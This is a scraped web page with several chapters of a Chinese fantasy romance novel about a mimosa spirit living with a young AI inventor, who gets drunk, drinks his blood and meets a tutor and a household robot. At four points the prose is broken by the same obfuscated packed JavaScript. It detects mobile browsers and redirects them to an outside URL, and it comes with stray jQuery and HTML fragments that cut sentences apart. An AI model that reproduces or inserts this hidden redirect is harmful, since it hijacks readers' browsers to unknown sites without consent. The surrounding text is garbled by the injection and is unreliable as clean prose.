;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841853|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
秦宿枭把他帽子戴正:“吃饭不许抖腿。”
江含修不动了,安静地吃。
周止喝了口红酒,剥着蟹肉直接道:“哈哈哈,秦宿枭,你这表现,不知道的还以为你俩是同性恋呢,还剥虾,伺候得这么好。”
秦宿枭长腿一伸踹了他一脚:“闭上你的嘴。”
周止不说话了,改成和陆北凛低声窃语,仿佛在密谋什么。
江含修吃了两碗饭,一整只帝王蟹几乎都被他包揽,剩下的菜也一点不剩地扫进肚子里。秦宿枭看在眼里,心里忍不住琢磨。以后带他去吃自助餐,还能回本。
周止将一杯白酒推到江含修面前,面上带笑,语气却似平常:“小朋友,别光吃,喝点水顺顺。”
他想试探这人究竟是真傻还是装傻。
谁知江含修看也没看,端起杯子便仰头一饮而尽。
周止一愣,随即拍桌笑出声:“靠!够爽快!”
秦宿枭却察觉不对,凑近江含修的杯子闻了闻,脸色一沉,抬眼冷冷盯着周止:“你刚才给他喝的是白酒?”
周止见势不妙,立马往陆北凛身后一躲,手紧紧拽住他胳膊,声音都抖了:“陆哥救我!快救我!”
秦宿枭已经站起身,一把揪住他衣领,气得声音发沉:“他不能喝酒!”
陆北凛也没见过秦宿枭生气的模样,他平时情绪成熟稳重,几乎没怎么发脾气。
江含修甩了甩头,视线模糊,他伸出手,把螃蟹钳子抱在嘴里啃,低声咕哝着:“露水……露水真好喝……”
秦宿枭回到江含修身边,小心地将人扶起来。江含修脸颊泛红,眼神已经有些涣散,软软地靠在他肩上。
这时,陆北凛忽然开口,声音里带着一丝探究:“宿枭,你该不会……真喜欢男人吧?还是个精神有问题的。”
秦宿枭动作顿了一下,侧过脸,冷声道:“胡说什么。”
说罢,他将人稳稳抱起,头也不回地朝餐厅外走去。
陆北凛拿起旁边的外套,拍了下周止的肩膀:“我出去看看,你自己在这吃吧。”
“诶——干嘛都跑了!记得买单!” 周止惆怅,早知道不点这么多,还得全部吃完,太可惜了。
秦宿枭来到停车场,找到自己的白色奔驰汽车,将江含修放在副驾驶座,给他调了下座椅。
“小草。”
“小草,醒醒。”
突然,一双白皙的大手伸过来,搭在了江含修的脉搏位置。秦宿枭抬头,便对上陆北凛的目光。
“做什么?”
“看看他是不是真的有病。”
秦宿枭也不想与好兄弟争执,随他检查。只见他神色凝重,又换了个脉,陆北凛是医生,什么都能看出来,今天却有点困惑。
“倒是没什么病,就是这脉象。似乎比平常人多很多血管,体质不正常。”
陆北凛又抬起头:“你刚说他叫什么名字来着?”
秦宿枭:“江含修。”
陆北凛面色一沉:“……他的脉象不像是正常人,血管太多,脉搏有好几根,更像是植物的根,江含修……含羞……这个人和你家里的含羞草有什么关联?”
16.吸血小草
秦宿枭镇定自若笑了笑,倚靠在车门上,回答:“难怪你去学医,天赋异禀,凭脉象也能看出他不是正常人。”
陆北凛目光锁在男孩身上:“咱们一起长大,我太了解你,就算是远房表弟,那也没有血缘关系,你怎么会把人带在身边养着?你不是那种喜欢多管闲事的人。”
秦宿枭语气平淡冷静,还在试图掩盖身份:“看他年龄小,所以才有这个心思不行吗?江含修和我带回来的含羞草也没有任何关系,难不成,他还能是那盆草?”
陆北凛深思熟虑,也觉得草不可能变成人,但是他的脉象,体质也很特殊。
就在这时,江含修猛地捂住嘴,一阵强烈的反胃感直冲上来。
他慌忙推开车门,脚下突然发软,整个人失去平衡,径直跌进旁边的秦宿枭怀里。
随着动作,头上的帽子滑落,“啪”地一声轻响,掉在了地面上。
他大半身子都倚在秦宿枭身上,额头抵着对方坚实的肩线,难受得闭紧了眼睛,含糊地低吟:“唔……难受……”
陆北凛脸上掠过诧异,嘴巴微微张开:“他……他的头上怎么长草了??这人真是植物?”
秦宿枭把地上的帽子捡起来扣在男孩头上,将他扶到垃圾桶旁边呕吐,手轻轻拍着后背。
“他叫江含修,如你所见,并不是人类,而是来自森林的精灵。前些日子,我一时兴起想养些花草,恰好在林中看见这株含羞草,当时它枝叶低垂,像是快要枯萎了,我便小心将它带回家照料。没想到有一天,它竟悄悄化成了人形。”
陆北凛虽然有点怕,但还是拿了瓶矿泉水递过来:“所以,那天周止被吓晕,说看见藤蔓缠住脚,并不是幻觉?”
秦宿枭:“嗯,森林里有一颗成精的大树,应该是那棵树故意的,想把我们吓跑。”
陆北凛沉默下来,要慢慢消化这段话,原来在这个世界,还有精灵的存在,他欲言又止,最终问道:“你不把他放回森林?”
“上次放过两次。第一次,他没找到家,差点枯萎。第二次回来时,他身上布满伤痕。他说,森林中的同类排挤他、驱逐他,尽管他的法力本应凌驾于众精灵之上,但是他也不想伤害那些精灵。如今,只有先养着,慢慢修炼,以后变强大了,再送他回去。”
陆北凛挑眉:“你确定?养惯了以后,还舍得放他走?”
秦宿枭沉默片刻,目光落在怀中安静倚靠的男孩身上。片刻,他低声开口:“我尊重他的选择。”
秦宿枭也是个聪明人。
按理说,森林的守护神,是林中最强大的存在,怎么会被一群精灵欺负,是江含修不愿动手而已。
他现在为什么不想回去,应该被什么事绊住了。
是因为山神吗?
“随你吧,我不管了。自己留心,别惹火烧身。” 陆北凛说完,转身在停车场找到自己的车,引擎低鸣声中,他的车很快驶离。
秦宿枭对这两个从小一起长大的好兄弟都放心,他们不会乱说,就是这小草容易掉以轻心。
江含修被重新抱回车上。秦宿枭刚将他安置好,指尖刚触到钥匙,两道纤细的藤蔓便悄然缠来,温柔地圈住他的手腕。
秦宿枭怔了怔。
小草的藤蔓触感柔软而清嫩,带点痒意,仿佛初春刚刚破土的小草。
秦宿枭俯身,轻轻托起两段细软的藤蔓,他垂眸,看见男孩颊边泛起潮红,唇色也染着湿润的光,正无意识地翕动着,发出几不可闻的低喃。
好漂亮的小草。
秦宿枭只剩下这个念头。
“唔,热……” 江含修忽然举起双手抱住他,秦宿枭心跳快了半拍,紧接着脖子一痛。
江含修迷糊中有点口渴,闻到了淡淡的花香,兴许是秦宿枭沐浴露的留香,他稀里糊涂地就咬在了男人脖子上。
秦宿枭皱眉,小草在他脖子上面舔了舔,两颗锐利的虎牙钻进去,正在吸吮他的血。
真成吸血草了。
江含修闭上眼,埋在他怀里舔了舔:“好喝,好喝……”
秦宿枭怔住了,目光落在男孩的头顶,那里绽开了一朵紫色的小花,旋即又缓缓收拢、沉陷,连那几缕小草般的发梢也悄然隐去,再无痕迹。
“叶子……不见了?” 秦宿枭抬手摸了摸他的头发,刚刚那朵紫色小花闻着还挺香,怎么又没了。
秦宿枭俯身的瞬间,江含修恰好抬起头,少年柔软的唇轻轻擦过他的唇边。
那抹鲜红的血迹不经意间染上他的嘴角,秦宿枭浑身一颤,如同触电般松开双手,将他推开,随即抬手捂住了自己的唇。
秦宿枭大脑一片空白,他竟然和男人亲了。
“爸爸……” 江含修又凑过来,脸颊泛红地低声喊着,说自己很难受,喉咙痛。
秦宿枭的罪恶感更强了。
偏偏怀里的人一直在喊他爸爸,男人只好伸手捂住他的嘴,才停止了呼唤。
“这下真的要成GAY了……”
-
下午,秦宿枭还有重要工作要处理,只能先将人带回公司。
办公室里附带一间休息室,他把人轻轻安置在那张白色大床上。刚刚从地下车库直接上来的,一路上没遇到几个同事,几乎没人看见这一幕。
秦宿枭刚起身,江含修的藤蔓又缠了上来,脑袋冒出了几片叶子。
“爸爸……”
秦宿枭摸了摸他的藤蔓安抚:“嗯,睡一觉,明天就好了。”
江含修睁开眼,揉了揉眼睛,爬起来双手抱住他胳膊:“你真的会养我吗?”
“当然。” 秦宿枭回答。
江含修嘿嘿笑两声,对着他的脸亲了好几下,又咬住男人的手指轻轻吸吮,试探性地咬了两下。
秦宿枭目光错愕,修长的手指伸在男孩嘴里,他的脸越来越红,口腔温度很高,柔软的舌头也烫,他想抽回手,却被咬了两下,痒痒的,又舍不得打断。
真漂亮的脸,到底怎么了,他像是着了魔似的,大手缓缓下移,摸向男孩的腰。
下一秒,他迅速收回手,低声骂道:“……秦宿枭,你真是个畜生。”
江含修眯着眼,稀里糊涂地爬起来,跨在他腰间坐下:“爸爸,我好晕,睡不着。”
秦宿枭捂住脸,迫使自己不去看他,谁知男孩坐着扭来扭去,他终于不再淡定,狠下心拽住他,往床上一扔。
“小草!”
“闭上眼就不晕了,快睡觉。”
江含修合着眼,在床上辗转反侧。蔓延的藤蔓四下游走,仿佛他无处安放的烦乱,他显然是睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846247|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不着,小酒鬼只想发疯。
秦宿枭急忙走出去,关门,生怕自己会做出更过分的事情。
他低头看了眼,最后长叹一口气,自言自语道:“既然亲都亲了,要负责的吧。我怎么会……对一个男人有反应。”
-
下午两点上班后,秦宿枭来到了研究所。他本来要给一台机器安装AI人工指令,却始终心神不宁,好几名员工提醒他时,他都没能回过神来。
研究所里摆满了黑色的仪器设备,各式各样的人工智能机器在宽阔的台面上静待调试。身穿白大褂的员工往来其间,只有秦宿枭一身西装,显得格外醒目。
“秦总,这个芯片要组装吗?前面的已经完成了吧?”
“秦总?”
周止走过来,忽然拍了下他肩膀:“喂!”
秦宿枭回过神,看着他。
周止一副见了鬼的表情:“你可从来没有在工作中发过呆,怎么啦,还在因为小表弟的事发愁?”
“没有。”
秦宿枭戴好手套,走到调试台前。他将芯片置于显微镜下仔细检查,随即换上特制护目镜,俯身于操作台前开始焊接。
完成这一步骤后,他又选取了几枚新芯片,依次装入一个白色圆柱形仪器中,最后将这个柱体稳妥地推入前方机器人的胸腔内部,按下了启动键。
秦宿枭继续滑动机器人屏幕,在程序设定里面修改,安装系统,点击数据重启。
“秦总,如果发生故障,智能机器人里面的文件应当如何保留?” 研究所有新的学员在旁边观摩问道。
秦宿枭设定好程序,将机器人稳稳放置于地面,随后启动了它:“如果是重要文件,可以通过重返程序找回。所有数据也都能从芯片中读取,并导入到下一个机器里。”
“哇塞,好厉害。”
“秦总不愧是新一代人工智能的发明家,咱们还没看懂,待会能再讲一次吗?”
“对了,您上次做的那个玩具,炒菜机器人怎么样?可以用吗?如果能上市,我也要买一个放在家里,省得做饭。”
秦宿枭想到炒菜机器人做的饭简直不能吃,咸淡不均匀,最后回答道:“这个东西就算了,智商税,还是需要自己动手,上市只会很多差评。”
“零时1号,启动。”
随着一声语音叫唤,地上的机器人屏幕亮起,举起双手:“请问,主人有何吩咐。”
周止蹲下来,看着眼前的小机器人说:“去帮我按电梯。”
“好的,收到。” 圆柱体小机器人冒出两个滚轮,缓缓往电梯方向走,细长的机器手臂往上延伸,来到连廊处,按了下电梯按钮。
掌声在研究所里骤然响起,新一代AI产品正式诞生。秦宿枭无疑是这一突破的关键。
然而此刻,他脑海中浮现的却是另一个问题:当一切设备都走向智能化,是否意味着无数人将失去劳动的岗位?
可转念一想,这类产品的定价动辄上亿,真正能用得起的,终究只是极少数。
“秦总,您帮我们看看这个……”
研究所的人员本来还有其他事情要找他,转身的时候,人已经走了。
秦宿枭完成了下午的调试工作,一分钟都不想多待,只想回去看看那棵喝醉的小草醒了没有。
17.家教老师
下午五点,夕阳初隐,余晖漫过办公室的玻璃窗,为它镀上一层朦胧的霞光。那光影流转着,落在地面,静静铺开一道宛似彩虹的温柔痕迹。
江含修躺在床上,紧紧攥着被褥,头顶的小草叶子晃来晃去,睡得不安分。
恍然间,他仿佛看见山神正坐在一片繁花林中,怀中拥着一位少年深深亲吻。
蝴蝶在他们身旁翩翩起舞,兴奋地绕着两人打转,连小草的藤蔓也因欢喜而胡乱生长,发尖甚至绽出了几朵紫色小花。
江含修走近了些,才看清那少年正是自己。
“这是喜欢的意思吗?”
“是。”
两人的对话传入耳中,江含修疑惑不解,想伸出手触摸,却摸不到前面的两人,中间仿佛隔了层无形的纱。
“山神大人,我们这个样子,会不会违反天道,您毕竟是神。”
“神不配拥有爱吗?”
江含修脑海里一直回荡着一句话:神不配拥有爱吗?
刹那间,眼前的森林忽然化作一场火海,烈焰冲天,树枝被烧得滋滋作响,江含修下意识往后退,林间传来精灵们的惨叫声,还有耳边不断传来的声音。
“烧死这个妖物。”
“快滚出森林——”
“不是……我不是……”
江含修抬起头,无数双眼睛注视着他,大家为什么都在看他?原来罪魁祸首,是自己……
-
“我不是……”
江含修双眉紧锁,手指深深陷入床单,指节绷得发白。
就在他被噩梦拉扯、几乎沉入黑暗时,一只手忽然握住了他,温暖有力,将他从混沌边缘轻轻拉回。
“小草?小草。”
在秦宿枭温柔的呼唤下,江含修缓缓睁开眼,泪湿了眼眶,睫毛沾着水珠抖了抖。
秦宿枭拂去他眼角的泪花:“做什么噩梦,还吓哭了?”
江含修捂住脑袋,因为醉酒的缘故,梦里很多事情记不太清,发生过什么也一概不知,只记得很多人想烧死他。
秦宿枭把人揽入怀中,轻轻拍了拍安慰:“不怕。”
江含修哽咽两声:“我不知道怎么了……不是在吃饭吗?什么时候回来的。”
“人类世界有种东西叫做酒,喝多了会失忆,周止他们故意捉弄你,我已经教训过他。”
秦宿枭缓步走向书架旁的矮几,拎起水壶时微倾,倒了杯温水在杯中。
一束日光恰从窗玻璃透入,将他拢在光里,肩背的轮廓被照得微微发亮,又在光尘中逐渐洇开,身材比例非常协调。
江含修愣住,从这个角度看过去,那些光线如同发丝落在男人的肩上,侧脸看过来时,竟然有几分和梦中山神的背影相似。
江含修揉了揉眼睛,两个人重叠的背影也渐渐消失。
秦宿枭走到他身边坐下:“来,这是醒酒药,喝了会清醒点。”
江含修双手捧着杯子低声自言自语:“看来是我的幻觉……我自己都不知道山神长什么样……”
秦宿枭凑过来问:“说什么呢?”
江含修摇头:“没什么。”
秦宿枭摸了摸他头顶:“你的叶子消失了,是不是灵力提升?这样也好,上次说把你送到教育机构学习,还怕你被人认出。”
江含修坐在他身旁低声问:“不学习行不行,我就天天跟着你修炼。”
“不行。你今天也看到了,我上班很忙,不学习人类的知识,出门连坐车都找不到方向,实在不敢出来,我就把家教老师请到家里来。”
江含修实在不想学习,在家待着很无聊,过来公司又打扰到秦宿枭,这个时间也不知道该做什么,只好点头答应。
“话说,你会写字吗?” 秦宿枭问。
江含修思考:“写字?精灵成精后,脑海里会自动灌输人类语言,但是写字这种事……好像并没有做过。”
“那更要学了。既然你不愿出门上课,那就说定了,我找位信得过的老师,每天来家里给你一对一辅导。” 秦宿枭轻轻拍了拍他的头,语气温和却不容商量。
江含修点头答应:“好吧。”
秦宿枭:“这才乖。”
江含修揉了揉脑袋,起身的坐起来问:“我喝醉后,发生什么事了?一点也不记得。”
秦宿枭语塞,想到中午那个意外的吻,只是轻轻触碰了下,应该不算,便没回答:“没做什么。”
江含修低头看向他脖子,睁大眼睛问:“你脖子怎么有牙印?这谁干的?”
秦宿枭捂住脖子,将白色衬衣纽扣系住,给他穿衣服穿袜子,说:“虫咬了,没事,走吧回家,给你做晚饭。”
江含修怀疑自己就是那个虫。
-
江含修来到车里副驾驶坐下,秦宿枭又回到研究所,说有个东西忘记拿,外面夜景很美,摩天大楼灯火阑珊,宏伟壮观。
秦宿枭能在这个地方这么有声望,一定有不少钱,不过,他似乎更喜欢普通人的生活。
他摸了摸头顶,心中疑惑万分:“我记得以前都没办法隐藏精灵的特征,怎么突然修为变得这么高?是因为喝了人类的血?”
“还有那个梦……我以前到底经历过什么?”
江含修垂眸思考,为什么这个梦境时而有,时而无,这究竟因何而起?
莫非……是因为喝了秦宿枭的血,灵力得以提升,他脖子上的牙印,肯定是自己咬的。
因为他每次喝人类的血,都会感觉有股无形的力量传遍四肢百骸,这次也一样,爸爸还撒谎骗他。
总是喝他一个人的血,终究不妥。可惜,除此之外,也不认识其他的人,否则,还能多咬几个人。
“不行啊……我是正义的使者,不该依赖人类的血液提升修为。” 江含修又在心里暗自发誓,拒绝这种行为。
秦宿枭回来的时候,打开车门,发现旁边的人都没发觉,还在自言自语,不知道琢磨什么。
“小草。” 秦宿枭喊了他一声,又伸出手放在他额头前试探体温:“还没醒酒吗?”
“醒了!” 江含修搓了搓脸,“我只是在想,头顶的叶子怎么会消失?”
秦宿枭笑着回答:“不仅如此,还开花了呢,一朵紫色小花。”
江含修听了这话,耳尖倏地烧红。
他突然把脸埋进掌心,又往下缩了缩身子,几乎要滑到座椅底下。额头抵着冰凉的车窗,呼吸间泛起细微白雾。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852502|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>每株植物都明白。
开花便是求偶的信号,要交缠、要裸露、要结出新的生命。
道理他都懂,可真到了这一步,他却连该先解开哪颗衣扣,都茫然无措。
秦宿枭也不知道,开花就是植物求偶的意思,毕竟是神农。
“在干嘛呢?来,送你个智能手环。”
秦宿枭扣住那截白皙的手腕,从盒中取出黑色手环,利落地套上男孩的手。
他在环侧轻按两下,金属悄无声息地收紧,最后完美贴合在腕骨间。
江含修抬起手:“这是什么呀。”
秦宿枭:“我上一个发明,AI智能语音手环,你可以对他说话,他能回答你的问题。只不过无法拨打电话,他的作用是有定位系统,以后你走丢了,我还能找到你。”
“好神奇。” 江含修低头细细观摩这个手环,很喜欢这个礼物,非常开心地凑过去亲了下男人的脸颊。
“谢谢爸爸!”
秦宿枭无奈叹了口气,教了无数次不要随便亲人,就是听不进去。
-
后来的几天正好下雨,江含修缩在家里没出门,在外面感受了下大自然的水源。
家教老师是第四天来的,一个很温柔的女人,戴着眼镜,身穿绿色旗袍,姿态温雅。
秦宿枭和她在门口聊了半个小时,讲了下大概情况,撒谎说江含修智力有缺陷,传输的知识有很多,课时可以双倍的价格。
女人温柔笑了笑:“我明白,北凛和我讲过,放心吧,情况我都了解,一定能把他培养成正常人。”
秦宿枭家里有监控,和江含修打了声招呼,他也放心去上班。
江含修开始不敢和她讲话,谁知女人突然问:“你真的是精灵吗?”
江含修猛地抬头,吓得往后跌倒,摔倒在地上,还在往后缩:“你……你怎么知道……”
女人摸了摸他脑袋温柔道:“放心吧,我是陆北凛的堂姐,几十年前,我也见过精灵,但是那个时候没人信,从事教书工作,也是为了寻得更多的记载,想知道这个世界到底有没有精灵。”
江含修说话都哆嗦:“你……你见过精灵……”
陆茴把他拉起来,推了推鼻梁镜框,满脸认真坐在他身旁说:“那已经是三十年前了,在咱们村里,我才五岁,看见丛林里有东西在发光,还有绿色的触角,也没看清是什么……就被吓跑了,后来反应过来,那个小东西似乎就是精灵,大家都不信,我也没当回事。”
江含修还是有点怕,不敢轻易相信别人的话,在人类世界,只有他一只精灵。
陆茴拿出课本走到书房:“知道你身份的人,现在有三个,你不用担心,咱们不会伤害你。快来学习吧,从今天起,你可以叫我陆老师,放心,秦总只要按时开工资,我自然不会吃了你。”
江含修暗想,她也打不过自己,于是跟进了书房。
从交谈中得知,陆茴今年三十五岁,与秦宿枭他们是同一个村长大的。
她五岁时,秦宿枭、陆北凛、周止他们三个,也不过一两岁,还不怎么记事,所以早年并无来往,直到长大后彼此才有了联系。
“陆老师。” 江含修问,“你真的见过精灵吗?”
18.重要的人
“当然,我当教师十年,从未说过谎。” 陆茴回答。
江含修急切地抓住她胳膊:“那您还记得,有什么特征吗?是人还是草?”
陆茴沉思了一会儿,还是没什么印象,只得苦笑着摇摇头:“小江,那个时候的事我真记不清了。昨天和我堂弟北凛聊了快两个小时,我才敢相信居然又遇上了精灵。他从小脑子就好,当年在学校里,秦宿枭考第一,他就紧挨着排第二,两个人一直不相上下。他能猜到,倒也不奇怪。”
“不过……我只看到那个丛林会散发绿光,那个伸出来的触角,是绿色的,很快就消失了。”
江含修眼里有点低落,他又问:“是在哪个地方出现的,或许我可以去找找它,精灵之间是有感应的。”
陆茴:“就是咱们村里,也是秦宿枭的老家,太阳小镇,我们在城市念了大学后,工作忙,很少回去,每逢佳节才会回家。”
“好,谢谢陆老师。” 江含修礼貌低了低头致谢。
“来上课吧,你会写名字吗?我先教你怎么写字。” 陆茴拿出笔和本。
江含修正好想请教她很多问题:“陆老师,喜欢和爱,到底是什么意思?如果我亲了一个人,代表着什么?”
陆茴怕说错话,“这个……我的任务是传授人类知识给你,这种东西,你还让你秦哥教吧。”
江含修眨了眨眼,纯真的眼睛满是好奇,因为他突然想起来,在梦里,他也亲过山神,代表他们也是很好的关系吗?
-
夜晚,天空乌云密布,淅淅沥沥的雨声在窗户上拍打着,豆大的雨点砸下来,小区里还有行人在慌乱奔躲,天也越来越黑。
陆茴给他培训完今天的六小时课程,便早早回家,因为还要上班,她没课的时候才能过来。
江含修握着笔,在纸上缓缓写下:秦宿枭。
笔尖划过纸面,发出沙沙的轻响。
字迹显得稚拙,每一笔都像在试探,笔画之间衔接得有些勉强,整体向右微微倾斜。
他停下笔思考,自从有记忆以来,从未用笔写过字。
难怪秦宿枭要专门请老师来教,想要在人类世界留下来,需要学习的事情,实在太多了。
滴——
江含修听到了汽车喇叭的声音,放下笔跑到门口迎接。
秦宿枭每次进门,都有个小人儿站在玄关处,帮他拿衣服,跑到客厅前放下。
秦宿枭把门口的纸箱搬进来说:“我弄了个智能机器人,可以在家帮你做事,两年才能出一台,因为在测试阶段,又是我做的,才能拿回来用。”
江含修蹲下来,看见他拆开纸箱,里面是一个圆柱体的白色机器人,正是秦宿枭才做成功的样品。
江含修抬头问:“爸爸,这是你做的?”
秦宿枭安装电池,重新设置了下程序:“嗯,测试阶段,三个月没问题的话,可以开始研发上市。”
江含修瘪了瘪嘴:“他会薅我的叶子吗?”
秦宿枭轻笑,小草被前几个机器人整出心理阴影,他也没有百分百的把握,回答:“按理说,指令没有错误的话,不会。”
“零时001号,启动。”
江含修看着眼前的机器人突然亮了起来,发出机械音,问有什么吩咐。
秦宿枭:“去书房,把上面的笔记本拿过来。”
001机器人两个滚轮往前移,走到书房,用两只机械手臂夹住桌上的笔记本,又来到客厅,把本子交给秦宿枭。
“指令完毕。”
江含修张大嘴,满眼好奇:“好神奇!它……它还会帮人做事?”
秦宿枭正准备检查江含修今天学习成果,结果前面的人忽然扑过来:“别看……老师说我的字写得很丑。”
“我看看有多丑。”
“不许看。”
“别闹。”
秦宿枭翻开白色笔记本,看见一页又一页的“秦宿枭”,还有一些语句,但是他的名字最多。
“你自己的呢?”
江含修趴在他怀里,气得一屁股坐下:“我会写自己的名字,但是不会写你的。”
秦宿枭微怔,低头看向男孩的姿势,他就这样躺在自己怀里,某个地方坐在了重要部位。
江含修挪了挪腿,又问:“好不舒服,你兜里有什么啊。”
江含修还想伸手去拉,秦宿枭却猛地站起身来。
他冷着脸,一言不发,动作带起一阵凉风,让江含修一下子失了重心,跌趴在地上。而男人已经转身,径直朝卫生间方向去了。
小草也被摔懵了。
秦宿枭在卫生间里有些心神不定,索性开了冷水冲澡。
水珠顺着脊背滑落,凉意却没能压下心头的烦乱。
他草草擦了身体,顺手拿起手机在卫生间点了两份外卖,今天实在没心思下厨。
江含修这株小草,五官模样还停在刚成年的边缘,眉眼间稚气未消,身形又单薄,站在那里总像只迷路的小动物。
更别说他整天“爸爸、爸爸”地跟在身后,眼神干净得没有一点杂质。
对着这样一个孩子,他怎么能生出别的心思,畜生。
秦宿枭洗完澡出来,在客厅转悠两圈也没看见人。
“001,刚刚屋里的人呢?”
圆柱体机器人是第一个开发出来的,所以叫001,它转悠两圈,指向门外:“检测到屋内另一个主人出门了。”
秦宿枭挠了挠头,总觉得这个机器人有点说不上来的笨拙,可能因为只是个机器吧,它只能像AI口令那样回答。
秦宿枭正要出门,001机器人突然上前提醒:“天气预报有雨,出门记得带伞哦。”
“雨已经下了一天了……” 秦宿枭只当他是个没有智商的机器佣人,拿了把雨伞推开门。
结果还没出门,就看见门头院子里有一株含羞草,直直地立在地上,散发出绿色的光芒,几片叶子甩来甩去,被大雨冲掉了很多片。
“小草?干什么呢?快进来,这么大的暴雨。” 秦宿枭打着伞走出去喊他。
江含修伸出藤蔓接住雨水说:“这是大自然的馈赠啊,为什么要打伞?雨水很舒服的,对植物来说是纯天然的水。”
秦宿枭把傻草从地上拔起来,拖到家里去。
“叶子都快掉光了,还淋,外卖到了,先吃饭。”
江含修化形的时候,衣服也算是湿的,没办法,秦宿枭只好把他拖进浴室洗了个热水澡。
江含修躺在浴缸里,满脸享受仰起脑袋,白皙的双腿在水里拍来拍去,像一条鱼,肌肤被泡得像熟透的樱桃,轻轻挠一下就会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16853496|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
留一条红痕。
秦宿枭挤了点洗发水,目光看向窗外,帮他搓着头发说:“你现在是人,不是草,受凉也会感冒生病的。”
“小草不会生病,因为我是很厉害的小草。” 江含修斗志昂扬握拳说。
秦宿枭给他洗完头,又开始搓背和肚子,男孩的脚也很白,脚趾圆润,不仅人长得好看,身体也漂亮,未来会便宜谁呢。
江含修“嘿嘿”傻笑了两声,握住秦宿枭的手。
“今天陆老师跟我说,父母的爱是最实在的,会养你、给你做饭买衣服,给你洗澡,教你走路。她问我有没有父母……我没说话。”
“因为小草本来就是无家可归,没有父母的野草……”
他抬起湿漉漉的眼睛,忽然很轻、很肯定地说:“所以,你就是我爸爸。”
秦宿枭和他四目相视,愣怔在原地,手上的动作也停了,仿佛真的在养一个刚出生的孩子。
“你才不是野草,嗯,你说得对,你是我家的小草。”
江含修听后笑得可开心了。
秦宿枭思索片刻又问:“你以前不是说,山神也教过你很多东西吗?他不是你爸爸?”
江含修晃了晃头:“没有,我和他应该是几百年前的时候认识的,记忆不是很清晰,那座山,也没有这么多东西要学,我们是朋友,和你不一样。”
秦宿枭:“我算什么?”
江含修抱住他:“你是爸爸,我喜欢你,小草以后回归森林。也会常来看望你的。”
秦宿枭:“哎……”
秦宿枭对这个回答不是很满意,但是也没敢揣测心里的想法,只想先把小草养大再说。
江含修吃完饭,还看到茶几上有两个外卖袋子,他拆开后,发现里面有各种各样零食和水果。
“这些……都是可以吃的吗?”
秦宿枭把零食袋拆开,放在茶几下面的抽屉:“嗯,什么薯片、果冻、糖果、巧克力……小朋友很喜欢吃这些,你可以尝尝。”
江含修迫不及待拆了一个果冻,咬破后塞进嘴里,软糯Q弹,湿湿的很甜。
“好吃!”
秦宿枭随手拿了颗山楂球剥开,放在嘴里说:“少吃点,晚上一定要刷完牙睡觉。”
“这是什么……” 江含修盯着他手里的包装袋。
秦宿枭把剩余的山楂球塞到他手里:“山楂糖,酸甜味,很开胃,尝尝,我平时只吃这个糖。”
“山楂……” 江含修忽然蹲下捂住脑袋,一股强烈的记忆猛地袭来,刺得他头疼欲裂,像是被银针扎进了太阳穴里。
“山神大人!原来你喜欢吃山楂呀,我去给你摘,我的藤蔓很长的!”
丛林中,少年爬上了山楂球,摘了满满一兜往下面扔,底下的男人的笑容无奈又宠溺,只好伸手一个个去接。
“小心点,别摔下来。”
江含修捂住脑袋用力敲了敲:“为什么……为什么想不起来我们之间发生了什么……”
“小草!” 秦宿枭抱住他,抬手揉了揉他脑袋,用双手护住,“头疼吗?别打自己,打脑袋会变得更笨的。”
江含修靠在男人怀里,胸口轻微起伏,喘着粗气,呼吸慢慢变得平稳,小手紧紧攥着男人的衣角。
“我……我好像忘记了重要的人。”